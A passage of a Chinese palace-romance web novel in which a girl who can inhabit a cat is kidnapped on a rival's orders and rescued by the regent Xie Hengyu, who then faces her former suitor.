他甚至连皇位都不稀罕,不留恋权势,如果齐武帝哪天嘎嘣了,他是不是会崩溃。
不过话说回来,要不是太子做错事,齐武帝也不会想将皇位传给谢珩玉。
谢珩玉没有别的亲人,在齐武帝昏迷期间,他要守住江山,每日都沉浸在政务里,还要操心嫂嫂和侄子**的事。
结果等到齐武帝醒来,当事人却根本不想惩罚始作俑者。
福宁忍不住老气横秋地叹气。
微弱的声音,终于让王皇后发现,龙榻上还有一只存在感很低的猫。
“哪来的猫,”王皇后看向谢珩玉,板起脸严厉道,“你皇兄还在病中,你怎能将你的猫带进来,有多脏你不知道吗?”
说着,就欲伸手去抓。
福宁看着王皇后这模样可怖得很,立马跑向谢珩玉,“喵~”
谢珩玉一伸手,她就跳到了他的手上,然后被他搂进怀里。
配合得很默契。
他没有看她,只是冷着脸看着王皇后,双眸不善,“她不脏。”
王皇后轻哼一声,也不想与他计较,省得在齐武帝面前失了气度,“皇弟,本宫并非指责你,只是你皇兄身体未愈,你要多顾念他些,你再喜欢猫,它也只是一个畜生,能干净到哪里去呢?”
闻言,福宁在谢珩玉的怀里抬头,面对王皇后,把嘴张到最大,一定要露出张牙舞爪的姿态。
但是没叫。
哼,会咬人的猫不叫。
谢珩玉把她的头按下,“臣弟自然不及皇嫂顾念皇兄,教导太子谋逆将皇兄气成这样。”
!!!
福宁惊呆了,这么直接的么。
随即,殿内响起齐武帝连连咳嗽,想要把肺咳出来了,“够了!”
王皇后贴心地上前替其抚背,“陛下莫要气坏了身子,这事是烛儿做的不对,受了奸人挑唆,他就是死也难以赎罪,臣妾不敢替他求宽宥,只愿陛下保重龙体。”
谢珩玉看着齐武帝狂咳的样子,眼中闪过一丝紧张,但只驻足原地,听完皇后的话后,又想起皇后来前,皇兄对他的交代……
他神色黯
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淡,沉声道:“臣弟先告退了。”
说着,便大步流星走出内殿。
福宁感受得到气氛的僵持压抑,这对叔嫂根本不是一个路子。
王皇后句句都在关心齐武帝,都不为太子求情。反而显得说话直白的谢珩玉是在挑拨他们的关系。
哎。
福宁又抬起头,出殿时,恰好碰上宫中捧来元宵。
有三碗。
李大监见谢珩玉要走,“王爷要出宫了?这元宵是陛下吩咐煮的,您不陪着陛下一起吃吗?”
谢珩玉一点胃口也没有,“不吃了。”
李大监心知他为何不愉,却无法道破,只得点点头。
待李大监再低头时,大惊。
一只邪恶的爪子正要伸向托盘上、其中最近的一碗元宵。
不等福宁碰到,爪子就被轻轻拍开。
谢珩玉抓紧她,“不能吃这个。”
后转身,带她走了,也不上马。
他不让亲卫跟着,亦不让白昼跟着。
此时天边已经泛起了一点青白,风自带凉爽。
他抱着怀中一团毛茸茸,独自走在昏暗的宫道上。
福宁觉得这个姿势并不舒服,翻了个身,找个舒服的姿势趴着。
谢珩玉走的步子很慢,更像是散步,就他这个走法,他走不出宫,就得回来上朝了。
当然啦,他也可以任性些,不上朝,反正没人会说什么。
毕竟他是冷酷无情、位高权重的摄政王呀。
但福宁真得睡觉了,他走得沉稳,很快她又有了困意,索性闭上眼。
不知道走了多远,忽听他低声开口——
“你喜欢吃元宵吗。”
福宁没睁眼,心想他已经孤单到跟一只猫说话了。
也不知道在他心里,她现在到底是小福还是邪祟,但不管是哪个,问她喜不喜欢吃元宵,都挺恐怖的。
不过很快就知道,他只是单纯想发出声音罢了。
第69章 福宁出事啦
“每次月圆,我都会收到一份元宵。”
他嗓音幽幽,透着几分无奈与自嘲,“今日才知,元宵有那么多,月亮也没那么圆。”
很好,福宁又不困了。
传闻狠厉果决、**不眨眼的活阎王,为什么此时此刻,这么可怜巴巴的。
她搓搓眼睛,仰头看着他的下巴。
她知道自己没有资格去安慰可怜他,因为她家处境也很艰难,不过苦难是不能比较的。
想了想,还是伸出爪,拍了拍他的胸膛。
感受到来自赵福宁的安慰,谢珩玉低头,对上她黝黑圆睁的眼睛,她眼中的光亮更像月亮,因为那比天上的月亮要圆。
谢珩玉也不知自己为何要对赵福宁说这些,或许只是想找个人说一说话。
而只有赵福宁,就算听到了,也不会敢说出去。
但他也只能说到这里了。
然后他一步步继续沿着宫道走,直到抵达宫门,天色比刚才更亮了,不少臣子的马车已经停在宫门口。
谢珩玉叹息一声,他低头,发现赵福宁已经睡着了。
今日唯二能叫他心情愉悦的两件事,一件是皇兄醒了。
一件,是赵福宁今天没能从他这里偷走任何东西。
白昼早就抵达了宫门口,等了许久才见王爷出来,上前询问:“王爷,是回府还是上朝?”
想到齐武帝的身体抱恙,应是难以参与朝政之事,谢珩玉还是选择了后者。
再将怀里睡着了的一坨软绵绵,交给了白昼,“将她送回去。”
不出意外,今天的福宁还是被热醒的。
虽然没能偷来冰,但她并不因此伤心,或许是因为见识了大场面,知道了皇家的秘密和摄政王的私事,她又叹了一声气,更觉得拥有爱护自己的爹娘是多么不容易的一件事。
更珍惜当下了。
她要努力赚钱,先让这个家脱贫吧!
这个时间,摄政王应该在上朝了,江月娇吃了上次的教训,应该不会那么快来针对她。
福宁打算先将两个黄金屋给卖掉,换些钱财,应该可以盘下一个铺子。
她没做过生意,不过可以收租呀。
黄金屋太大,会引人注目,福宁没将它从箱子里拿出来,反而让赵管家和护院帮忙,一起抬上马车。
然后带着阿婵一起,前往照金楼。
她没有料到的是,江月娇并没有因为吃了教训而长记性,反而因为崔兰亭的作为,变本加厉地想害她。
这次,更是直接雇佣了**。
赵府的马车在前往照金楼的途中,必经一处人流稀少的街巷。
乔装过的**从天而降,将福宁雇来的车夫打晕藏到随机一户人家的小院里,然后代替了车夫,驾车出城。
车内的主仆俩还没有察觉,直到打开车窗发现已经出了城门,才心道不好。
彼时,福宁还不知驾车的是**,只以为是雇佣来的马夫起了歹念,不按原计划的路径行驶,反而将她们俩姑娘拉来荒郊。
遂不敢惊动马夫,福宁轻打开窗,准备带着阿婵悄悄从车窗跳下去。
至于车上的黄金,肯定是带不走了。
不过没关系,这黄金是摄政王府丢失的物件,不知情的歹人肯定会自食恶果的。
福宁从车窗纵身一跃,摔在沙土上,全身发疼到面容扭曲,也不敢喊疼。
阿婵还没来得及跳,“马夫”已经听到重物落地的声音,及时停下马车,看见了自讨苦吃的少女。
他冷笑一声,走到福宁面前。
福宁知道自己跑不过他,因为她的腿已经疼到她怀疑腿断了的地步。
干脆咬着唇,躺地上装死。
实则心里慌得很。
“小姐!”阿婵跑下车,正要过来。
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福宁唰地坐起身,看见“马夫”的脸,意识到这已经不是马夫了,马夫被歹人给代替了!
她快速拽住靠近的“马夫”的腿,“阿婵快跑!”
至少先跑一个,才能有机会回来救人。
**拧眉,甩腿都甩不掉她的手,想提刀**,转念想到雇主的要求,只能先放下刀,“放开老子!”
阿婵愣住,说什么也不肯先跑,这荒郊野岭,就算跑了找人来救,都不知道去哪救。
她不能丢下小姐,于是,一头朝**的后背撞过去。
**破骂一声,顺手给两人的脖子,一人一下,都晕了,一起带走。
*
“小姐,成了。”
丹心压低声,也压不住喜悦,走到江月娇的身边,“她们主仆都被带到了城外。”
寿安伯府内,江月娇嘴角上翘,“这只是第一步。”
丹心:“小姐,真的不让他们直接杀了赵福宁吗,直接杀了,倒更省事,也免得有后患。”
江月娇原本是想杀的,但是她改变主意了,因为那样太便宜赵福宁了。
她想要的,是毁了赵福宁。
毁了赵福宁的容貌,毁了赵福宁的清白,毁了赵福宁的未来,毁了赵福宁那道用幸福宠爱温养出来的的笑容。
“赵家现在就是蝼蚁,有何可怕?”江月娇笑容扭曲,“我还要崔兰亭亲眼看见,我就不相信,他还能喜欢赵福宁。”
丹心有顾虑,“若是崔世子能查到您身上……”
江月娇皱眉,“让他们完事早些跑路,别被抓到就是,只要没有证据,怀疑又何用,崔兰亭会明白,只有我才是配与他携手共度一生的贤内助。”
“是。”
丹心下去,再赶去长平侯府,请崔兰亭赴城外纳凉。
这是江月娇第一次单独约崔兰亭出去,不管出于哪种考量,他都不能拒绝。
第70章 王爷要英雄救美啦!
福宁再醒来的时候,还觉得脖子痛痛的呢。
但当她清醒意识到身居摄政王府的时候,就反应过来,脖子并不痛,是心里作用觉得痛。
天子脚下竟能发生这样恶劣的事,福宁怀疑歹人背后有人,又是谁费尽心思想要害她……第一个怀疑的,就是江月娇。
记得昏迷之前,阿婵也没有跑掉,她们两人都被歹人带走了。
所以,现在只能自救了!
福宁焦急地从榻上跳下去,发现偏房的门关着,她喵喵大叫。
分不清现在是什么时辰,谢珩玉和白昼回来没有。
听门外侍卫的声音,显然不是白昼,“小福是不是饿了,让厨房给她做条鱼吃吧。”
她现在可不吃鱼!
福宁用脑袋轻轻撞门,边撞边叫,“喵嗷!喵嗷凹!”
外头听着,又不像是饿了,像是发癫或是发情了,侍卫终于察觉不对劲来,怕她撞门出事,于是打开门看看。
但凡有一条缝,福宁就能溜出去。
不等侍卫反应过来,她已然置身室外。
“小福跑啦!!”
侍卫一声喊,福宁就听见四周响起急促的跑步声,不用回头也知道,她又要成为全府兵力追捕的“逃犯”了。
回头只会影响自己的速度,她想到自己和阿婵生死未卜,全身的力量都好似汇聚在四肢上,不会累似的,一直往前跑。
侍卫也不是吃素的。
甩不掉。
但这样正好,福宁深知单靠自己是没法解救自己的。
她现在是一只猫,她甚至不清楚歹徒把自己和阿婵带去了哪里。
她需要借力,将侍卫们顺利引去城外、自己被打晕的位置,然后她再藏起来,这么多王府侍卫,翻遍城郊,总能将自己和阿婵找出来的。
那厢,谢珩玉从宫里下朝归来,行至府邸门外时,就见府中侍卫正在街上狂奔。
还有侍卫源源不断地从府里往外跑,“快,若小福丢了,王爷会——”
说话的侍卫看见谢珩玉,如见活阎王,喘着气停下,“王,王爷……小福,她跑了!”
谢珩玉本来就不美妙的表情,瞬间变得阴森,如暴风雨来的前奏,“废物。”
连小短腿的猫都看不住、追不上。
他也不下马了,“驾!”朝还能看见一行侍卫影子的方向追去。
小福向来乖巧,是不会跑的。
只有赵福宁会跑。
可是他记得,上朝前,她已经睡着了,按理说,白天不会占据着小福的身体了……
太阳当空照,现在已经是巳时。
谢珩玉招来白昼,“去查查,赵福宁去哪儿了。”
白昼虽不解王爷怎么突然关心赵小姐,但还是不问,领命退下。
谢珩玉骑着马,很快就追上了福宁,他看着她跑的方向,显然不是赵府的方向,而是城外。
赵福宁为什么白天还占据小福的身体,为什么着急地要去城外……难道是她自己出了什么意外?
总归一定是有理由的。
他拉了拉缰绳,放慢速度,侍卫们也都跟到他的后头。
于是街上就出现了这般奇特的盛景,一只小猫在前面跑,舌头挂在小嘴外面,累得直喘气也不停下。
穿着朝服、黑着脸的摄政王领着两列侍卫,队伍有十几家店铺那么长,跟在后面仿佛是猫的护卫一般。
城郊。
福宁跑到自己被打晕的位置时,这里已经没有一点“打斗”过的痕迹。
环顾四周,也没有房子。
倒是偶有出入京城的路人经过。
她扭头看谢珩玉已经快追上来了,立马往边上草垛里一躲。
谢珩玉清楚地看着她的举动,却没当即拆穿,想看看她的目的究竟是什么。
此时,途经此地的马车当中,有一辆马车刻着长平侯府的标志。
谢珩玉皱眉,这般巧合,难道赵福宁今天的行径与崔家有关?
正想着,崔家的马车在经过谢珩玉身侧时,停了下来。
车窗从里打开,崔兰亭作一副谦谦君子之态,温润有礼地向他问安,“王爷是要出行围猎吗?”
那么多人,看这架势确实是像。
谢珩玉没什么好脸色,一想到被赵福宁平白遛了一圈可能是为了崔兰亭,就不爽得很,“本王遛猫。”
后话锋一转,“崔世子今日不该休沐吧?”
崔兰亭的笑容顿了顿,总觉得摄政王对他带着敌意,次次都是,可他从未与摄政王为敌,甚至恭敬至极。
想不通关窍,他心道摄政王孤僻恣睢,好像对谁都这般,便也不足为奇,“回王爷,微臣已向上峰告了半日假。”
新上任就告假,谢珩玉朝他瞥去。
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这一瞥,意外看见了马车里的另一个、打扮得花枝招展的女人。
谢珩玉下意识又朝草垛里望了眼,赵福宁莫不是又借着小福的身子、出来“捉奸”?她还没死心?
呵。
他真是疯了,才会觉得她今日跑出来是事出有因。
于是,少不得要刺一句,“告假出来谈情说爱,崔世子真是国之栋梁,人才。”
“……”崔兰亭垂了垂眸,隐忍着,又听身旁的江月娇低声催促,他笑道,“王爷遛猫要紧,微臣便先行一步。”
马车远去,谢珩玉看都不看一眼。
与他不同的是,草垛里的福宁探头,眼睛死死地盯着崔家的马车。
她本来就怀疑是江月娇要害她,现在见到江月娇带着崔兰亭来城郊,心里就更笃定了。
否则,哪有这么巧合的事?
可是江月娇既然要害她,为何还要亲自前来,带着崔兰亭一起来?
福宁想起歹徒提起**又放下的样子,心里有种很不祥的预感。
糟糕,莫不是要毁她清白吧!
话本里常演这一套!
福宁一个健步,就朝着崔家马车驶离的方向追去。
众人只见躲在草丛里的小福不躲了,而落在谢珩玉眼里,恰好证实了他的猜想。
他幽深的眼眸中是阴冷的光,心里冒火,双手活动了下关节,准备立即将福宁抓回去。
“王爷!”调查迅速的白昼追了上来,打断了谢珩玉的行动,“属下询问了赵府外那条街的摊贩,他们亲眼见赵小姐带着丫鬟出门了,但是,属下碰见了替赵小姐驾车的马夫,那马夫正要报官,说半道被人打晕、劫了车。”
谢珩玉握着缰绳的手一紧,“她人呢?”
白昼意识到王爷指的是赵福宁,“赵小姐和她的丫鬟应该都还在车上,属下问了守城的兄弟,也见着赵家的马车出城了。”
赵福宁,出事了。
她是想救她自己!
她追崔家的马车而去,是怀疑车上的两个人?
谢珩玉意识到这一点,眉宇间尽是狠戾之色,“搜,将整个京郊翻过来,也必须找到她!”
重点,是崔兰亭去的方向。
一声令下,王府侍卫分散开。
每个人的心里都隐隐觉得不对,他们不是出来追小福的吗?王爷不要小福啦?
第71章 谢珩玉第一次公主抱福宁
还是没人敢问。
谢珩玉率着一队人,追着崔家马车的方向去,甚至超过了崔家的马车。
始作俑者如果是崔兰亭,那目的可能是为了英雄救美,但英雄救美没必要带上未婚妻江月娇。
所以排除。
那么,就是江月娇了,此女恶毒阴险,光是在他面前,就有两次想害赵福宁的先例。
这次更是变本加厉。
若是猜想的这样,赵福宁的处境很危险,他必须在江月娇之前,找到她。
只听马蹄踏在沙石上,一行人很快超过了马车,尘土飞扬。
崔兰亭再次开窗就被尘土呛到。
旁边的江月娇既对接下来的场面兴奋期待,又有些心虚,看着摄政王一行所去的方向,她心生不安。
“怎么了?”崔兰亭问。
江月娇摇摇头,让自己不要害怕,“没事。”
她暗笑自己从前过于善良,今日才会畏手畏脚,摄政王才不可能帮赵福宁,何况她今日计划,没人知道。
不会出岔子的。
恐怕这会儿,赵福宁已经失去清白了。
赵福宁是自找的,不怪她。
江月娇安慰着自己。
车窗被放下,尘土隔绝在外,迷了福宁的眼。
等眼前好转,马蹄声已经远了,都跑到她前面去了。
???
不是,她还在这。
“喵嗷!”
福宁继续往前追。
另一边。
并不像江月娇以为的那样顺利。
今日江月娇与崔兰亭要去的,就是京郊江上湖心亭,而歹徒正处于江畔的竹屋内。
三个**调侃着这世上还有这种好事。
第一个人确认道:“雇主的意思是,毁了容貌和清白,就给钱,不用杀?”
第二个人感慨道:“这姑娘长得真好看,京城的娘们就是狠。”
第三个人漠然道:“可我们是**,为什么要干这种事。”
道不同不相为谋,第三个人先行离开,表示这钱不赚了。
两个**面面相觑,决定先毁清白后毁容。
两人都朝着福宁走去,被随意放置在门边的阿婵此时醒了,慌乱地挡在福宁面前,吓唬**,“放肆!你们知道我家小姐是谁吗!”
**不在意,伸手就把阿婵挥到一边。
阿婵不顾疼痛又冲上去,为了让赵福宁不受伤害,二话不说抱住她、死不撒手,声音快哭了,“小姐你快醒醒呀,我们要命丧于此了呀!”
昏迷不醒的赵福宁任怎么摇晃,都没有要苏醒的迹象。
**都被吓一跳,一人再次将阿婵打晕放一边,“还是个忠仆。”
另一人伸手指探一探赵福宁的鼻息,“还好没死。”
又看赵福宁发饰朴素,感慨,“光看打扮真看不出来,她那个车里还放着好重的黄金嘞,这一单真够赚的,老三走了,就不分给他了。”
“黄金拿出来没有?”
“拿了,就留个空箱子在车上。”
“那就好,开始吧。”
两人正要着手开始剥衣裳,还没开始,手便顿在半空。
外头马蹄声阵阵,就跟回到了兵荒马乱的朝代似的。
“这跟雇主说的时辰不对啊,是不是计划有变?还是暴露了?”
谨慎的**一人抱着一个黄金屋,准备先走。
*
“王爷,那边有个竹屋!”
“搜!”
谢珩玉已经领先崔家的马车好几里路,没有下马,只让手下人先去竹屋搜寻。
等待时,见着两个男子背着竹篓路过,像是刚砍柴下山。
可两人底盘稳而有力,明显是练家子,路过时,没有丝毫心虚慌张,面上根本不对侍卫们在此感到好奇和害怕。
谢珩玉抬手,白昼递上弓箭,他快准狠地瞄准。
箭矢嗖地一下飞出,从路人眼前一寸距离飞过,路人很冷静,慢了一拍地才表现出害怕。
“把他们,抓起来。”谢珩玉道。
**见败露,从竹篓中取出斧头和大刀反抗。
与此同时,黄金的光芒从缝隙中漏出。
这一瞬间,谢珩玉确定了。
他翻身下马,快步去向竹屋内。
在迈入竹屋时,搜竹屋的侍卫跑出来,“王爷,赵小姐和她的丫鬟在里面,马车在竹屋后面,离了十几丈。”只见王爷目不斜视,擦肩而过。
哪里还用侍卫说,谢珩玉已经看见了。
门后一个,榻上一个。
少女躺在
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床榻上,脑袋微偏,跟平时睡着的样子还是有些区别,睡得不甜了。
脖颈侧泛红,是被人打了。
谢珩玉站在塌边,俯视着她。
同时,两个落败的**被押了进来,押着**的侍卫兴奋道:“启禀王爷!**黄金的大盗找到了!黄金也找到了!”
谢珩玉没有回头,目光一直落在少女的脸上,听闻此言,心中嗤笑。
识人不清的下场,竹篮打水一场空。
这下可好,她偷走的黄金,他该收回去了。
他鬼使神差地从袖中伸出手,掐住她的下巴,仿佛是对她的惩罚。
他忽然想看看,失去黄金的她,会露出怎样的表情。
白昼进门就看见这一幕,惊骇地又退了出去,王爷什么时候和赵小姐这么要好了?难道王爷看上赵小姐了?也对,不然王爷刚才怎么会那么着急……
可是……白昼怎么也没想通,王爷看上赵小姐是什么时候的事情,他怎么毫无察觉,他错过了什么?
想了想,还是问,“王爷,要将赵小姐送回赵家吗?还是报官?”
报官?
且不论于她名声是否有利,就论京县的县令是崔兰亭,哪有摄政王找县令报官的。
谢珩玉睨了一眼白昼,“不必,先将这两人押去京影卫地牢。”
他忽略了要不要将赵福宁送回赵家这个问题,弯腰轻松地将人抱起,踏出竹屋。
白昼心里还惦记着王爷究竟是什么看上赵小姐的,王爷要将这两个恶人收进地牢,摆明了是要亲自管,到底是为了赵小姐的这桩事,还是为了失而复得的黄金呢?
再看门边还睡着一个,白昼一把将人背起来,将人放到马背上。
又想到什么,白昼脸色不好,“小福呢?!”
完了!小福丢了!
没完,福宁遇到好人了,她跑来的半道上,被陌生的英俊年轻的侍卫揣怀里了。
本来还怕耽误事、挣扎着呢。
到了竹屋外头,见那阵仗,再见那——
嗯??
她瞪大眼睛,不可置信地看着令人发指的一幕。
好消息:她得救了,毫发无伤。
坏消息:怎么会被谢珩玉抱着?她错过了什么?
第72章 不要想入非非,没有男女之情
终究还是她跑得太慢了。
不过,谢珩玉怎么都不用她引路,就精准地救了她?
福宁有很多疑惑未解。
谢珩玉已经抱着昏迷的她,走到她面前,命令她,“过来。”
福宁没动,实在不知道该怎么过去。
但是年轻的侍卫很上道,直接就把她递过去了。
谢珩玉没手接。
故而……毛茸茸的福宁被放在了,昏迷的自己的肚子上。
这一幕,外人或许没觉得有什么。
福宁觉得很古怪,她低头看看自己昏迷的样子,再仰头看看谢珩玉冷漠的脸。
这个时候,被驮上马背的阿婵又醒了,跳下来,见这阵仗,也是断片地反应了一会儿,然后不要命地冲上去,“小姐!!”
被白昼拉住,解释:“是我家王爷救了你家小姐。”
阿婵愣了愣,眼神仿佛在说,摄政王有那么好心?
白昼看在自家王爷可能看上赵小姐的份上,耐心圆场,“我家王爷遛猫在这附近,恰好遇到不平事,哪有不管的道理,且,那两名窃贼偷了王府的黄金。”
说到这儿,白昼自己明白了哪里不对劲了。
在小福手上消失的黄金屋,怎么会出现在盗贼手里,为什么每次小福都能和赵小姐扯上关系,难道邪祟和赵小姐有关系?
阿婵倒是很容易地相信了白昼的话,“原来是这样,多谢王爷救命之恩,但,还是将小姐还给奴婢吧。”
谢珩玉早已上马,“本王要亲自审她。”
昏迷的赵福宁坐他身前,因上半身支撑不住,要往前倾时,他一把拉住,她便往后靠,后脑勺贴在他胸膛上。
但放心,屁股是不会贴到的。
因为两人中间,还夹着一个一言难尽的毛茸茸。
太挤了。
福宁要疯掉了,哪有自己挤自己的。
不小心又踩到某人的裆了,被夹着,想逃都逃不掉。
直到一只大手伸过来,将她一把薅出来。
福宁听他厉声道——
“老实点。”
她哪里不老实了?
难道是她想踩他的吗?
好笑!
“喵唔——”
阿婵听到要审自家小姐,忧心极了,不管不顾地喊道:“王爷,我家小姐是受害者,为什么要审我家小姐!”
福宁跳到自己的肩膀上,感动地看向阿婵。
傻丫头,这世上除了爹娘和哥哥,就属阿婵对她最好了!
真是患难见真情,这种时刻,都能为了她,质问摄政王。
谢珩玉低头就见她伸爪子抹眼睛,他还真读懂了她的情绪。
这丫鬟倒是个忠诚的。
对待忠义之人,他向来多一点耐心,“本王虽不喜你家小姐,但皇城脚下发生这等事,本王会还她一个公道。”
语毕,也不再理阿婵,驾马而去。
还她一个公道……福宁闻言,心中动容。
今日是谢珩玉救了她,还要还她公道。
心目中,无情狠戾的摄政王形象,渐渐地,被昨晚孤独口直的谢珩玉,和今日正气凛然的谢珩玉颠覆。
福宁站在自己的肩膀上,仰头望着他的下巴近在咫尺,烈日当空,光照在他的身上,也照在她的****上。
但是,他猝不及防地驾马,吓她一跳,一抖动,软乎乎的嘴和鼻子都贴了上去。
亲到了下巴。
软软的酥麻的触感,谢珩玉差点要停下马来。
当她是猫,和当她是赵福宁时的猫,自是不一样的。
后头,白昼无奈地留在原地,王爷嘴上说厌恶赵小姐,那倒是别把赵小姐放马上啊,一点说服力都没有。
他腹诽着,一旁的阿婵焦急万分,“侍卫大哥,我家小姐……王爷是不是看上我家小姐了,为什么要抱她啊,明明有马车啊!”
看,有人看出来了。
白昼用看聪明人的眼光看向阿婵,可惜不能直说,“别乱说,王爷以前在军营历练,没有男女之分,只是图方便而已。”
“是吗?”阿婵:“可京城有男女之分啊。”
阿婵害怕他们回城会招来闲言碎语,这对摄政王是没什么,可
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小姐的名声……想着,忙去马车里将幂篱取出,交给白昼,“王爷既要为我家小姐做主,还请顾念小姐的名声,侍卫大哥可代为转交否?”
白昼点头,指了一个侍卫,让其驾阿婵的马车、带阿婵回城,自己则跟上队伍。
谢珩玉很随意地将幂篱戴在身前少女的头上,她低着头,皂纱掩住面容,偶尔热风迎面吹来,柔软的皂纱轻轻飘起,拂过他露在外的脖颈和面庞。
本就热得发燥的肌肤,泛起丝丝痒意。
当一只长满****的爪子伸过来,直截了当地将皂纱从他脸上抓掉,将其牢牢地贴在少女的脸上时,茸茸的毛发触碰到他,他更痒了。
于是凶她,“别动。”
回程的路上,又碰见崔家的马车。
知道罪魁祸首就在里面,福宁恨恨地瞪着马车。
马车内,崔兰亭自然听见了由远及近的回城的马蹄声,又与摄政王撞上了。
摄政王对他没有好脸色,他却不能对摄政王视若无睹,又疲倦地推开车窗。
正好对上谢珩玉瞥过来的冷眼。
崔兰亭自觉无辜,注意力被谢珩玉怀中的少女吸引去。
他面上不动声色,心里已是诧异至极。
而且方才来时,未见有女子与他同行啊。
都道摄政王不近女色,这女子是哪家千金?可惜挡着脸,没有瞧见。
身形倒是莫名让崔兰亭觉得眼熟,心里隐隐不安。
可是,他绝不会认识这么不规矩的女子。
城外私会,倒更像是上不得台面的养在外头的女人。
也对,若此女是摄政王的未婚妻江雪娥,便没有必要挡着脸。
崔兰亭微微颔首,以表尊重。
反正不论摄政王对谁有私情,只要不影响江雪娥的正妃地位,他对江月娇的态度,就不需要改变。
方向相逆的两路人,皆未停下。
却听谢珩玉沉声警告一句,“多行不义——”
后半句,没人听清,被喵叫声盖过去了。
叫的很凶。
表情也是。
第73章 摄政王肯定是玩玩而已
车马交错之时,福宁踩到谢珩玉的肩膀上,挺直小身板,就像个威风凛凛的将军。
她居高临下地睥睨崔家马车内部,落在崔兰亭眼里便是一脸凶态。
自打知道那夜崔兰亭是为了撇清干系,而非为她家求情,福宁看崔兰亭就再无半点情谊,莫说是心仪,就连友情都没了。
真是虚伪!
“喵嗷!”
而崔兰亭身边的那张脸,更叫福宁恨极。
江月娇的手段越来越下作,心狠程度,令她心惊。
今日若非借了谢珩玉的力量,恐怕她就要折在江月娇的手里。
江月娇没得逞,估计还会继续生出歹念。
她决不能再坐以待毙了!
谢珩玉似能感受到她的情绪,伸手抓了抓她的脑袋,“别摔下去。”
随后,她的毛发彻底凌乱,跟被炸了似的。
马车内,江月娇也见到了摄政王抱了个女子,她拧了拧眉,心中想法与崔兰亭不谋而合。
摄政王有没有外室,私下有无新欢,她不在意,只要不影响长姐成为摄政王妃,就成。
但摄政王一行来的方向,与她要去的地方一致,江月娇心里不免担忧,只盼那边进展顺利,不被影响。
转头又见崔兰亭面色沉重,她贴心关怀,“兰亭哥,摄政王殿下脾气不好,对谁都不假辞色,定不会刻意针对你,你是今科探花,年轻又有才能,将来肯定会被重用的。”
一番话,说到了崔兰亭的心坎里。
只是,他心里空落落的,不踏实。
“应该是快到了。”
崔兰亭欲将车窗阖上,此时摄政王的队伍已经没影,他抬眸之时,另一架马车闯入眼帘。
是赵家的马车。
赵家的马车怎会在此?
看车夫的穿着,竟与王府侍卫一致,正朝着京城的方向驶去。
崔兰亭心中的不安到了顶点,不曾犹豫分毫,吩咐护卫拦住赵家马车。
王府侍卫看着突然冲过来的侯府护卫,被迫停下,拔刀,“长平侯世子,是要**吗?”
侯府护卫们尴尬,不敢让侍卫误会,遂礼貌地望向自家世子。
阿婵从马车里探出头来。
见着阿婵,崔兰亭的心是彻底凉了,王府的侍卫为何会驾着赵家马车,王爷与皎皎有什么关系?刚才被王爷抱着的女子……
江月娇也在想这个问题。
就是再蠢,也该意识到,今日的计划生了变故,不知道雇来的人得手没有、有没有被摄政王的人抓到,赵福宁又是怎么攀上摄政王的?
太多问题,扰得她无法思考,心乱如麻。
连手指都在颤抖。
崔兰亭看向阿婵,“皎皎呢?”
阿婵看见他就来气,“与崔公子有什么干系,”视线一挪,看见了江月娇,“崔公子与江小姐好生快活,哪用管我家小姐的死活,省些精力吧!”
一想到小姐差点出事,而崔公子却与江小姐同游京郊——诶?不对!
阿婵怀疑,“江小姐,你真是蛇蝎心肠,屡次害我家小姐还不知悔改,今日用这样腌臜的手段想要我家小姐性命,还好老天有眼,摄政王殿下救了我家小姐!你会有报应的!”
一段话,传递出来的消息足够叫崔兰亭吃惊两回。
他紧张道:“皎皎出了什么事?方才与王爷共乘一骑的,是她?!”
阿婵一慌,怪自己这张嘴说多了,生怕他们诋毁自家小姐,找补道:“摄政王殿下秉公执法,小姐昏迷不醒,他只是为了快些将人带回京,严查凶犯而已。”
语毕,钻回车内,叫侍卫快些驾车走。
崔兰亭再无温润之色,他也不是什么天真没心思的人,联想到江月娇莫名其妙约他来此地游玩,阿婵的指责还犹在耳边。
他气得面色发青,扭头冷冷地看向她,后者正处在极度的心虚与慌张中,脸色比他还要难看几分。
崔兰亭哪还有什么不懂的,他一把攥住江月娇的手腕,质问道:“你
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对皎皎做了什么?!”
江月娇苍白的唇瓣发颤,内心说服自己冷静,摇头,“不是我,兰亭哥哥,你别听阿婵胡说,我真不知道皎皎出了什么事。”
为了转移他的注意力,她转了话头,“不过,皎皎怎么会被摄政王抱着,那也太亲密了些,我还以为是王爷的外室呢,难道他们——”
“闭嘴!”崔兰亭想到刚才那一幕,第一次在江月娇面前失了态。
他不顾江月娇,只身下车,从护卫那牵过一匹马,翻身上马追逐而去。
“兰亭哥!”江月娇趴在窗子上,探头。
崔兰亭头也不回,侯府的侍卫追他而去,只留下江家的两个护卫和丫鬟丹心。
江月娇本就因计划败露、**被抓而慌张,此时见崔兰亭抛下自己而去,气不打一处来,“崔兰亭!!!”
丹心站在马车边,“小姐,这……”
江月娇心中忿忿,发红的眼睛满是恨意,一拳头砸在窗子上,指甲嵌不进车壁,险些要翻过来。
疼痛使她清醒了些,冷静下来,“去,去竹屋看看,究竟是什么情况。”
丹心点头,低声道:“小姐放心,寻**的时候,奴婢没有露面,即便那伙人被抓了,也招不出什么来。”
江月娇赞赏地看了丹心一眼,“赵福宁真是好运气,这么偏僻的地方,还能碰上摄政王。”
丹心抿抿嘴:“小姐,摄政王莫不会真的对她有意吧?”
“怎么可能,她有什么好!”江月娇下意识反驳,但心里并不安。
毕竟,从未见过摄政王抱长姐。
摄政王为什么要亲自抱着赵福宁?赵福宁勾引他了?
对!一定是这样,赵福宁眼看做不了崔兰亭的正妻,就去勾引摄政王,哪怕做个妾也是王府的妾。
江月娇讥讽道:“她家犯了那样的事,摄政王绝不可能纳她进门,不过玩玩罢了,即便收她做个婢女,等王爷厌了,长姐也定不会给她活路。”
第74章 王爷笑了!
那头,崔兰亭于城外追上了王府的队伍。
“王爷!”
听得这不讨喜的呼喊,谢珩玉皱眉。
原是不想理会,直接进城,却听见崔兰亭直接喊出了“皎皎”二字。
脚脚脚脚的烦**,一个姑娘家怎取这样难听的小名。
谢珩玉眼中划过戾色,改了主意,“吁!”
马儿骤停,踩着谢珩玉肩膀的福宁差点摔下去,“喵唔。”挂在他的胸膛上,四只爪抓紧。
崔兰亭追上,挡到谢珩玉的面前,良好的教养与君臣之别都让他保持恭敬谦卑,“王爷,您抱着的可是皎皎?”
谢珩玉饶有兴致地看着他,“与你有何关系?”
就是啊,与你有什么关系!福宁重重一跺爪。
崔兰亭的视线不受控住地往下移,靠在摄政王怀中的少女明显是昏迷状态,这也使得她与摄政王相依,身体接触着。
摄政王握缰绳的手须得擦过她的腰侧,哪怕是隔着衣裳,也已过了男女大防的边界。
